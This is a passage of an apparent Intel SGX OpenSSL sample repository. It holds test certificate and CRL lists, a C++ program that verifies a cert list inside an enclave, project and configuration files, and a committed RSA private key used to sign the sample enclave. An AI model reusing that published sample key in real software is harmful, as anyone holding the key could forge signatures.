ZGQwMTRlNjAyZjUxM2Y4OTgyZThkZGU4MGFjYTdkYzNlYTI2YjNjNTQ4YzFhMAoG 60 | CCqGSM49BAMEA0MAMEACHhUgIxgTdjk0ARvSvK1uuZ+FGGRTonRi+qq4uBH2mAIe 61 | NkZyDOP0cvlL8Z52UjAFllmeQH2zdvmP+zOWuME5 62 | -----END CERTIFICATE----- 63 | -----BEGIN X509 CRL----- 64 | MIIBjDCCATcCAQEwCgYIKoZIzj0EAwQwgZExCzAJBgNVBAYTAlVTMQswCQYDVQQI 65 | DAJDQTEUMBIGA1UEBwwLU2FudGEgQ2xhcmExGjAYBgNVBAoMEUludGVsIENvcnBv 66 | cmF0aW9uMSswKQYDVQQLDCJTZWN1cmUgRW5jbGF2ZXMgTGljZW5zZSBTaWduaW5n 67 | IENBMRYwFAYDVQQDDA13d3cuaW50ZWwuY29tFw0xNTA5MTYyMTQ0MDJaFw0zNTA5 68 | MTEyMTQ0MDJaMGQwEgIBABcNMTUwOTE2MjExMDQyWjASAgEDFw0xNTA5MTYyMTQz 69 | MjBaMBICAQUXDTE1MDkxNjIxNDMzMlowEgIBCBcNMTUwOTE2MjE0MzQ5WjASAgEJ 70 | Fw0xNTA5MTYyMTQzNTVaoA4wDDAKBgNVHRQEAwIBBTAKBggqhkjOPQQDBANDADBA 71 | Ah5tvPGfj59PxITEsZHdNF7haZq/UHsdA4toZ7s4I8UCHl5RSpd4sHWjJjalyQKw 72 | d2pOvBp8SNk+BpzivvBKsg== 73 | -----END X509 CRL----- 74 | 75 | -------------------------------------------------------------------------------- /SgxOpenSSL/sample/test_vrfcert/data/valid_certlist.txt: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIDWjCCAwWgAwIBAgIBAzAKBggqhkjOPQQDBDB/MQswCQYDVQQGEwJVUzELMAkG 3 | A1UECAwCQ0ExGjAYBgNVBAoMEUludGVsIENvcnBvcmF0aW9uMS8wLQYDVQQLDCZT 4 | ZWN1cmUgRW5jbGF2ZXMgTGljZW5zaW5nIFJvb3QgU2lnbmluZzEWMBQGA1UEAwwN 5 | d3d3LmludGVsLmNvbTAeFw0xNTA5MTYyMTEwMzZaFw0zNTA5MTEyMTEwMzZaMIGR 6 | MQswCQYDVQQGEwJVUzELMAkGA1UECAwCQ0ExFDASBgNVBAcMC1NhbnRhIENsYXJh 7 | MRowGAYDVQQKDBFJbnRlbCBDb3Jwb3JhdGlvbjErMCkGA1UECwwiU2VjdXJlIEVu 8 | Y2xhdmVzIExpY2Vuc2UgU2lnbmluZyBDQTEWMBQGA1UEAwwNd3d3LmludGVsLmNv 9 | bTCCATgwgfUGByqGSM49AgEwgekCAQEwKQYHKoZIzj0BAQIef/////////////// 10 | f///////gAAAAAAAf///////MFcEHn///////////////3///////4AAAAAAAH// 11 | /////AQeJVcF+iowZlSx9MsD1qdQowwlAQLUmIcX2boVq20+AxUAfXN0Fo/+NHG2 12 | CoV2hqGUddO/ov8EPQRnaK6OGLuSz88AXJSaosbZSFPQ5mC7+FSxyVBf6VoWB+aJ 13 | jzkMBrwdVSutIm87b8/ki26BhJmvGOPtbPMCHn///////////////3///5dd60Gz 14 | pgV8PEMhRlJlUQIBAQM+AARd9u88JB67ap8m6DzG3D3NHAKP/0xD6MOK7r6nhKNV 15 | PxwN9WVIzf2P2fBN/EoiYwM8Tv3prCztrUwPo06jfjB8MAwGA1UdEwQFMAMBAf8w 16 | LAYJYIZIAYb4QgENBB8WHU9wZW5TU0wgR2VuZXJhdGVkIENlcnRpZmljYXRlMB0G 17 | A1UdDgQWBBSGuPd4YE555GepLx49pPdkR1B1STAfBgNVHSMEGDAWgBSmsC6WnWMk 18 | BRg+8wwpgeuKqBohOzAKBggqhkjOPQQDBANDADBAAh4GwrvG+bqLtD0V2+ZHEh/3 19 | HPXuKCUXeEMmUuYwxewCHj+6TiBP1NQu5+qnd6vvkPKEPJpj2xZ/zuCOAQcucw== 20 | -----END CERTIFICATE----- 21 | -----BEGIN X509 CRL----- 22 | MIIBEjCBvgIBATAKBggqhkjOPQQDBDB/MQswCQYDVQQGEwJVUzELMAkGA1UECAwC 23 | Q0ExGjAYBgNVBAoMEUludGVsIENvcnBvcmF0aW9uMS8wLQYDVQQLDCZTZWN1cmUg 24 | RW5jbGF2ZXMgTGljZW5zaW5nIFJvb3QgU2lnbmluZzEWMBQGA1UEAwwNd3d3Lmlu 25 | dGVsLmNvbRcNMTUwOTE2MjEwOTU5WhcNMzUwOTExMjEwOTU5WqAOMAwwCgYDVR0U 26 | BAMCAQEwCgYIKoZIzj0EAwQDQwAwQAIeJfqy0gmR81/zKlzCEmZcHW/5kda6YcPb 27 | CNdvh2VJAh56eL7DI2vNLii1gHoknmlhvQzymIiH30ttI+OyeJM= 28 | -----END X509 CRL----- 29 | -----BEGIN CERTIFICATE----- 30 | MIIF6jCCBZWgAwIBAgIBADAKBggqhkjOPQQDBDCBkTELMAkGA1UEBhMCVVMxCzAJ 31 | BgNVBAgMAkNBMRQwEgYDVQQHDAtTYW50YSBDbGFyYTEaMBgGA1UECgwRSW50ZWwg 32 | Q29ycG9yYXRpb24xKzApBgNVBAsMIlNlY3VyZSBFbmNsYXZlcyBMaWNlbnNlIFNp 33 | Z25pbmcgQ0ExFjAUBgNVBAMMDXd3dy5pbnRlbC5jb20wHhcNMTUwOTE2MjExMDQx 34 | WhcNMzUwOTExMjExMDQxWjBuMQswCQYDVQQGEwJVUzELMAkGA1UECAwCQ0ExFDAS 35 | BgNVBAcMC1NhbnRhIENsYXJhMRgwFgYDVQQKDA9JU1YgQ29ycG9yYXRpb24xDDAK 36 | BgNVBAsMA0lTVjEUMBIGA1UEAwwLd3d3Lmlzdi5jb20wggEgMA0GCSqGSIb3DQEB 37 | AQUAA4IBDQAwggEIAoIBAQC6HThyCXx+UWBQEK7gBUbym07uKy9C1orgO7t8wmwr 38 | 2Ch4Oo+GJUYn6pArEl4UCf8aObe2eYhaha6WXLLFJN/XT1ZPkicunggpJabhZsQA 39 | X9IIY+BQVe9vWpArIaJTq51ZKxiT5i12YoOkXL88FYghfSxYlwFaIS8fmUQ3ZRuQ 40 | oLGGpke9PFoOEeMQNwtNAzxDGLWtQDAIkvr7cNkSc8C/bhRv43bV7TyEATFpHRA8 41 | 1sak5qh5SPGYx+4ryBbBzNxz1fcUXqPqYVYFDP2fzf8DdzPwC3ZrqSS8JS/jvjIK 42 | wNvnPz+TOuZ6eTwn479WKCzSOvoS/VDiU927xdKZxiV5AgEDo4IDNTCCAzEwCQYD 43 | VR0TBAIwADAsBglghkgBhvhCAQ0EHxYdT3BlblNTTCBHZW5lcmF0ZWQgQ2VydGlm 44 | aWNhdGUwHQYDVR0OBBYEFMPu1L1wB44Tg7M6WNkWWBuqclV8MB8GA1UdIwQYMBaA 45 | FIa493hgTnnkZ6kvHj2k92RHUHVJMDQGCSqGSIb4TQEKAQEB/wQkMCICEQC7b+eU 46 | Msxuotj5cGdaWoe/CgEAAQEAAQEAAQEAAQEAMIIBHgYJKoZIhvhNAQoCAQH/BIIB 47 | DDCCAQgDgYEAMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw 48 | MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw 49 | MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMTEDgYEAMTEx 50 | MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx 51 | MTExMTExMTExMTEwMTEwMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx 52 | MTExMTExMTExMTExMTExMTExMTExMDAwMTEwMTEwgZUGCSqGSIb4TQEKAwSBhzCB 53 | hAOBgQAwMDAwMDAwMDAwMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx 54 | MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx 55 | MTExMTExMTExMTExMTExMTExMTExMTExMTExMTEwMDAwMDAwMTAvBgkqhkiG+E0B 56 | CgQEIjAgBBcwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMQQFMDAgMDAwgZQGCSqGSIb4 57 | TQEKBQSBhjCBgwSBgDU3YjIyYmQ0YTRkZDY3M2M2ZWMwNGE4MWE1MWFlZDk1ZTYz 58 | YjlmODZmMmRhYjYwZjI2NzkzODk4MTMxODFjNTBiM2UyZmQ5YjljMTQ2YmE1ZmQw 59 | ZGQwMTRlNjAyZjUxM2Y4OTgyZThkZGU4MGFjYTdkYzNlYTI2YjNjNTQ4YzFhMAoG 60 | CCqGSM49BAMEA0MAMEACHjC19JT3vqA60fIvFLaaZo61UQwbFfxEphXLStw/jQIe 61 | dh6z0CFTyslvtw2m+kYn0eIAw47PkdPq7OuPxqim 62 | -----END CERTIFICATE----- 63 | -----BEGIN X509 CRL----- 64 | MIIBJTCB0QIBATAKBggqhkjOPQQDBDCBkTELMAkGA1UEBhMCVVMxCzAJBgNVBAgM 65 | AkNBMRQwEgYDVQQHDAtTYW50YSBDbGFyYTEaMBgGA1UECgwRSW50ZWwgQ29ycG9y 66 | YXRpb24xKzApBgNVBAsMIlNlY3VyZSBFbmNsYXZlcyBMaWNlbnNlIFNpZ25pbmcg 67 | Q0ExFjAUBgNVBAMMDXd3dy5pbnRlbC5jb20XDTE1MDkxNjIxMTA0MloXDTM1MDkx 68 | MTIxMTA0MlqgDjAMMAoGA1UdFAQDAgEAMAoGCCqGSM49BAMEA0MAMEACHhLLww7U 69 | MPjRNzKF0rWq6Tp+oLov3Kiefj0b1EfIHAIee50KC+RHim2KZ/uMi1VQjGC8BxVu 70 | ZFaNG5sXLuBh 71 | -----END X509 CRL----- 72 | 73 | -------------------------------------------------------------------------------- /SgxOpenSSL/sample/test_vrfcert/test_vrfcert.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright(C) 2011-2016 Intel Corporation All Rights Reserved. 3 | * 4 | * The source code, information and material ("Material") contained herein is 5 | * owned by Intel Corporation or its suppliers or licensors, and title to such 6 | * Material remains with Intel Corporation or its suppliers or licensors. The 7 | * Material contains proprietary information of Intel or its suppliers and 8 | * licensors. The Material is protected by worldwide copyright laws and treaty 9 | * provisions. No part of the Material may be used, copied, reproduced, 10 | * modified, published, uploaded, posted, transmitted, distributed or disclosed 11 | * in any way without Intel's prior express written permission. No license 12 | * under any patent, copyright or other intellectual property rights in the 13 | * Material is granted to or conferred upon you, either expressly, by 14 | * implication, inducement, estoppel or otherwise. Any license under such 15 | * intellectual property rights must be express and approved by Intel in 16 | * writing. 17 | * 18 | * *Third Party trademarks are the property of their respective owners. 19 | * 20 | * Unless otherwise agreed by Intel in writing, you may not remove or alter 21 | * this notice or any other notice embedded in Materials by Intel or Intel's 22 | * suppliers or licensors in any way. 23 | */ 24 | 25 | // test_vrfcert.cpp : Defines the entry point for the console application. 26 | #include "vrfcert_u.h" 27 | #include "sgx_uae_service.h" 28 | 29 | #include 30 | #include 31 | #ifdef _MSC_VER 32 | #include 33 | #endif 34 | 35 | #ifndef _MSC_VER 36 | #define TCHAR char 37 | #define _TCHAR char 38 | #define _T(str) str 39 | #define fprintf_s fprintf 40 | #define _tmain main 41 | #endif 42 | 43 | 44 | #ifdef _MSC_VER 45 | #define ENCLAVE_NAME _T("vrfcert.signed.dll") 46 | #else 47 | #define ENCLAVE_NAME "libvrfcert_enclave.so" 48 | #endif 49 | 50 | 51 | #define USAGE \ 52 | "Usage: test_vrfcert \n" \ 53 | " The provided cert list files.\n\n"\ 54 | "If 'valid_certlist.txt' is provided, success will be returned.\n"\ 55 | "Otherwise, you will get failure." 56 | 57 | static sgx_launch_token_t token ={0};//lauch with empty token 58 | //Function to load the enclave and relative file name is used 59 | //It is assumed that the project is started at the $(OutDir) 60 | // when the signed enclave dll is generated 61 | static sgx_status_t load_enclave(sgx_enclave_id_t *eid) 62 | { 63 | int launch_token_update = 0; 64 | sgx_status_t ret; 65 | 66 | ret = sgx_create_enclave(ENCLAVE_NAME, SGX_DEBUG_FLAG, &token, 67 | &launch_token_update, eid, NULL); 68 | return ret; 69 | } 70 | 71 | //Function to read all data of the file into a buffer and return pointer to the buffer 72 | // use function free_file_data to free the buffer on success 73 | // The size of the buffer is returned in reference parameter size 74 | uint8_t *read_file_data(TCHAR *filename, long& size) 75 | { 76 | FILE *file_cert_chain = NULL; 77 | uint8_t *p = NULL; 78 | long fsize = 0; 79 | size = 0; 80 | #ifdef _MSC_VER 81 | errno = _tfopen_s(&file_cert_chain, filename, _T("rb")); 82 | if(errno!=0 || file_cert_chain == NULL) 83 | { 84 | #else 85 | file_cert_chain = fopen(filename, "rb"); 86 | if(file_cert_chain == NULL) 87 | { 88 | #endif 89 | goto ret_point; 90 | } 91 | if(fseek(file_cert_chain, 0, SEEK_END)!=0) 92 | goto ret_point; 93 | fsize = ftell(file_cert_chain); 94 | if(fsize <=0 ) goto ret_point; 95 | 96 | size = fsize; 97 | p = (uint8_t *)malloc(fsize); 98 | if(p == NULL) goto ret_point; 99 | if(fseek(file_cert_chain, 0, SEEK_SET)!=0) 100 | { 101 | free(p); 102 | p=NULL; 103 | goto ret_point; 104 | } 105 | if(fread(p, 1, fsize, file_cert_chain)!=fsize) 106 | { 107 | free(p); 108 | p=NULL; 109 | goto ret_point; 110 | } 111 | ret_point: 112 | if(file_cert_chain)fclose(file_cert_chain); 113 | if(p == NULL) 114 | fprintf_s(stderr,"Fail to read the cert data.\n"); 115 | return p; 116 | } 117 | 118 | void free_file_data(uint8_t *p) 119 | { 120 | free(p); 121 | } 122 | 123 | int _tmain(int argc, _TCHAR* argv[]) 124 | { 125 | sgx_enclave_id_t eid = 0; 126 | int ret = -1; 127 | long size = 0; 128 | uint8_t * p = NULL; 129 | if(argc != 2) 130 | { 131 | fprintf_s(stderr, ("Invalid input command.\n\n%s\n"), USAGE); 132 | ret = -1; 133 | goto ret_point; 134 | } 135 | 136 | p = read_file_data(argv[1], size); 137 | if(p == NULL) 138 | { 139 | ret = -1; 140 | goto ret_point; 141 | } 142 | 143 | if(load_enclave(&eid)!=SGX_SUCCESS) 144 | { 145 | fprintf_s(stderr,"Fail to load enclave\n"); 146 | ret = -1; 147 | goto ret_point; 148 | } 149 | 150 | //Function to call verification code inside enclave 151 | if(verify_cert_in_perm(eid, &ret, p, size)!=SGX_SUCCESS) 152 | { 153 | ret = -1; 154 | } 155 | 156 | if(ret == 0) 157 | { 158 | printf("Verify passed\n"); 159 | } 160 | else 161 | { 162 | printf("Verify failed\n"); 163 | } 164 | 165 | sgx_destroy_enclave(eid); 166 | 167 | ret_point: 168 | if(p) free_file_data(p); 169 | 170 | printf("Enter a character before exit ...\n"); 171 | getchar(); 172 | return ret; 173 | } 174 | 175 | -------------------------------------------------------------------------------- /SgxOpenSSL/sample/test_vrfcert/test_vrfcert.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {c38ba8f9-58af-482e-b690-1fe66266f6f9} 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | Generated Files 26 | 27 | 28 | 29 | 30 | Source Files 31 | 32 | 33 | Generated Files 34 | 35 | 36 | 37 | 38 | Source Files 39 | 40 | 41 | -------------------------------------------------------------------------------- /SgxOpenSSL/sample/vrfcert/vrfcert.config.xml: -------------------------------------------------------------------------------- 1 | 2 | 0 3 | 0 4 | 0x40000 5 | 0x100000 6 | 1 7 | 1 8 | 0 9 | 0 10 | 0xFFFFFFFF 11 | 12 | -------------------------------------------------------------------------------- /SgxOpenSSL/sample/vrfcert/vrfcert.edl: -------------------------------------------------------------------------------- 1 | enclave { 2 | //from "../topenssl/crypto/openssltime.edl" import *; 3 | //from "sgx_tstdc.edl" import *; 4 | from "sgx_tssl.edl" import *; 5 | 6 | trusted { 7 | /* define ECALLs here. */ 8 | public int verify_cert_in_perm([in, size=cert_in_size] const uint8_t *cert, uint32_t cert_in_size); 9 | }; 10 | 11 | untrusted { 12 | /* define OCALLs here. */ 13 | 14 | }; 15 | }; 16 | -------------------------------------------------------------------------------- /SgxOpenSSL/sample/vrfcert/vrfcert.h: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright(C) 2011-2016 Intel Corporation All Rights Reserved. 3 | * 4 | * The source code, information and material ("Material") contained herein is 5 | * owned by Intel Corporation or its suppliers or licensors, and title to such 6 | * Material remains with Intel Corporation or its suppliers or licensors. The 7 | * Material contains proprietary information of Intel or its suppliers and 8 | * licensors. The Material is protected by worldwide copyright laws and treaty 9 | * provisions. No part of the Material may be used, copied, reproduced, 10 | * modified, published, uploaded, posted, transmitted, distributed or disclosed 11 | * in any way without Intel's prior express written permission. No license 12 | * under any patent, copyright or other intellectual property rights in the 13 | * Material is granted to or conferred upon you, either expressly, by 14 | * implication, inducement, estoppel or otherwise. Any license under such 15 | * intellectual property rights must be express and approved by Intel in 16 | * writing. 17 | * 18 | * *Third Party trademarks are the property of their respective owners. 19 | * 20 | * Unless otherwise agreed by Intel in writing, you may not remove or alter 21 | * this notice or any other notice embedded in Materials by Intel or Intel's 22 | * suppliers or licensors in any way. 23 | */ 24 | 25 | #ifndef __VRF_CERT_H__ 26 | #define __VRF_CERT_H__ 27 | 28 | //Define error code 29 | typedef enum _vrf_cert_error_code_t 30 | { 31 | VCE_SUCCESS = 0, 32 | VCE_OUT_OF_MEMORY = -1, 33 | VCE_LICENSE_EXPIRE = -2, 34 | VCE_CRL_EXPIRE = -3, 35 | VCE_CERT_REVOKED = -4, 36 | VCE_PARAM_INVALID = -5, 37 | VCE_UNKNOWN = -6 38 | } vrf_cert_error_code_t; 39 | #endif 40 | -------------------------------------------------------------------------------- /SgxOpenSSL/sample/vrfcert/vrfcert.lds: -------------------------------------------------------------------------------- 1 | libvrfcert_enclave.so 2 | { 3 | global: 4 | g_global_data_sim; 5 | enclave_entry; 6 | local: 7 | *; 8 | }; 9 | 10 | -------------------------------------------------------------------------------- /SgxOpenSSL/sample/vrfcert/vrfcert.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {678313ea-f466-4465-8b39-527f9d216627} 6 | cpp;c;edl;def; .. and other options 7 | 8 | 9 | {066272ac-d020-41cb-bc4a-979edfc5b723} 10 | h;hpp; .. and other options 11 | 12 | 13 | {633492cc-526b-4e03-b872-f2f20690ed54} 14 | rc;xml;pem; .. and other options 15 | 16 | 17 | 18 | 19 | Resource Files 20 | 21 | 22 | 23 | 24 | Source Files 25 | 26 | 27 | Source Files 28 | 29 | 30 | 31 | 32 | Header Files 33 | 34 | 35 | Source Files 36 | 37 | 38 | 39 | 40 | Resource Files 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | Source Files 49 | 50 | 51 | -------------------------------------------------------------------------------- /SgxOpenSSL/sample/vrfcert/vrfcert_private.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | 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 39 | -----END RSA PRIVATE KEY----- 40 | -------------------------------------------------------------------------------- /SgxOpenSSL/sample/x509.sln: -------------------------------------------------------------------------------- 1 | Microsoft Visual Studio Solution File, Format Version 12.00 2 | # Visual Studio 14 3 | VisualStudioVersion = 14.0.25420.1 4 | MinimumVisualStudioVersion = 10.0.40219.1 5 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "test_vrfcert", "test_vrfcert\test_vrfcert.vcxproj", "{740A560B-38F6-4450-89CB-E6FDE80E34BD}" 6 | ProjectSection(ProjectDependencies) = postProject 7 | {BB61B0B1-2A8C-455E-9D26-77208C15C2FA} = {BB61B0B1-2A8C-455E-9D26-77208C15C2FA} 8 | EndProjectSection 9 | EndProject 10 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "vrfcert", "vrfcert\vrfcert.vcxproj", "{BB61B0B1-2A8C-455E-9D26-77208C15C2FA}" 11 | EndProject 12 | Global 13 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 14 | Debug|Win32 = Debug|Win32 15 | Debug|x64 = Debug|x64 16 | Prerelease|Win32 = Prerelease|Win32 17 | Prerelease|x64 = Prerelease|x64 18 | Release|Win32 = Release|Win32 19 | Release|x64 = Release|x64 20 | Simulation|Win32 = Simulation|Win32 21 | Simulation|x64 = Simulation|x64 22 | EndGlobalSection 23 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 24 | {740A560B-38F6-4450-89CB-E6FDE80E34BD}.Debug|Win32.ActiveCfg = Debug|Win32 25 | {740A560B-38F6-4450-89CB-E6FDE80E34BD}.Debug|Win32.Build.0 = Debug|Win32 26 | {740A560B-38F6-4450-89CB-E6FDE80E34BD}.Debug|x64.ActiveCfg = Debug|x64 27 | {740A560B-38F6-4450-89CB-E6FDE80E34BD}.Debug|x64.Build.0 = Debug|x64 28 | {740A560B-38F6-4450-89CB-E6FDE80E34BD}.Prerelease|Win32.ActiveCfg = Prerelease|Win32 29 | {740A560B-38F6-4450-89CB-E6FDE80E34BD}.Prerelease|Win32.Build.0 = Prerelease|Win32 30 | {740A560B-38F6-4450-89CB-E6FDE80E34BD}.Prerelease|x64.ActiveCfg = Prerelease|x64 31 | {740A560B-38F6-4450-89CB-E6FDE80E34BD}.Prerelease|x64.Build.0 = Prerelease|x64 32 | {740A560B-38F6-4450-89CB-E6FDE80E34BD}.Release|Win32.ActiveCfg = Release|Win32 33 | {740A560B-38F6-4450-89CB-E6FDE80E34BD}.Release|Win32.Build.0 = Release|Win32 34 | {740A560B-38F6-4450-89CB-E6FDE80E34BD}.Release|x64.ActiveCfg = Release|x64 35 | {740A560B-38F6-4450-89CB-E6FDE80E34BD}.Release|x64.Build.0 = Release|x64 36 | {740A560B-38F6-4450-89CB-E6FDE80E34BD}.Simulation|Win32.ActiveCfg = Simulation|Win32 37 | {740A560B-38F6-4450-89CB-E6FDE80E34BD}.Simulation|Win32.Build.0 = Simulation|Win32 38 | {740A560B-38F6-4450-89CB-E6FDE80E34BD}.Simulation|x64.ActiveCfg = Simulation|x64 39 | {740A560B-38F6-4450-89CB-E6FDE80E34BD}.Simulation|x64.Build.0 = Simulation|x64 40 | {BB61B0B1-2A8C-455E-9D26-77208C15C2FA}.Debug|Win32.ActiveCfg = Debug|Win32 41 | {BB61B0B1-2A8C-455E-9D26-77208C15C2FA}.Debug|Win32.Build.0 = Debug|Win32 42 | {BB61B0B1-2A8C-455E-9D26-77208C15C2FA}.Debug|x64.ActiveCfg = Debug|x64 43 | {BB61B0B1-2A8C-455E-9D26-77208C15C2FA}.Debug|x64.Build.0 = Debug|x64 44 | {BB61B0B1-2A8C-455E-9D26-77208C15C2FA}.Prerelease|Win32.ActiveCfg = Prerelease|Win32 45 | {BB61B0B1-2A8C-455E-9D26-77208C15C2FA}.Prerelease|Win32.Build.0 = Prerelease|Win32 46 | {BB61B0B1-2A8C-455E-9D26-77208C15C2FA}.Prerelease|x64.ActiveCfg = Prerelease|x64 47 | {BB61B0B1-2A8C-455E-9D26-77208C15C2FA}.Prerelease|x64.Build.0 = Prerelease|x64 48 | {BB61B0B1-2A8C-455E-9D26-77208C15C2FA}.Release|Win32.ActiveCfg = Release|Win32 49 | {BB61B0B1-2A8C-455E-9D26-77208C15C2FA}.Release|Win32.Build.0 = Release|Win32 50 | {BB61B0B1-2A8C-455E-9D26-77208C15C2FA}.Release|x64.ActiveCfg = Release|x64 51 | {BB61B0B1-2A8C-455E-9D26-77208C15C2FA}.Release|x64.Build.0 = Release|x64 52 | {BB61B0B1-2A8C-455E-9D26-77208C15C2FA}.Simulation|Win32.ActiveCfg = Simulation|Win32 53 | {BB61B0B1-2A8C-455E-9D26-77208C15C2FA}.Simulation|Win32.Build.0 = Simulation|Win32 54 | {BB61B0B1-2A8C-455E-9D26-77208C15C2FA}.Simulation|x64.ActiveCfg = Simulation|x64 55 | {BB61B0B1-2A8C-455E-9D26-77208C15C2FA}.Simulation|x64.Build.0 = Simulation|x64 56 | EndGlobalSection 57 | GlobalSection(SolutionProperties) = preSolution 58 | HideSolutionNode = FALSE 59 | EndGlobalSection 60 | EndGlobal 61 | -------------------------------------------------------------------------------- /SgxOpenSSL/util/msincore: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env perl 2 | # 3 | # Copyright (c) 2012 The OpenSSL Project. 4 | # 5 | # The script embeds fingerprint into Microsoft PE-COFF executable object. 6 | 7 | $0 =~ 